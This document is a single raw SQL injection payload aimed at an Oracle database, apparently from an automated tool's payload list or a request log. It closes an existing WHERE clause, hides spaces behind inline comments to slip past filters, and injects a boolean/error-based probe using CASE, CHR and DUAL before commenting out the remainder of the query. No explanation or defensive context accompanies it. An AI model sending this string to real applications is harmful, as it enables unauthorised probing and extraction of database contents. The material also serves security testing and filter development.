1) WHERE 7026=7026AND/**/8404=(SELECT/**/UPPER(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(8404=8404)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126))/**/FROM/**/DUAL/**/WHERE/**/DBMS_RANDOM.VALUE(7466,3261)=8828)-- -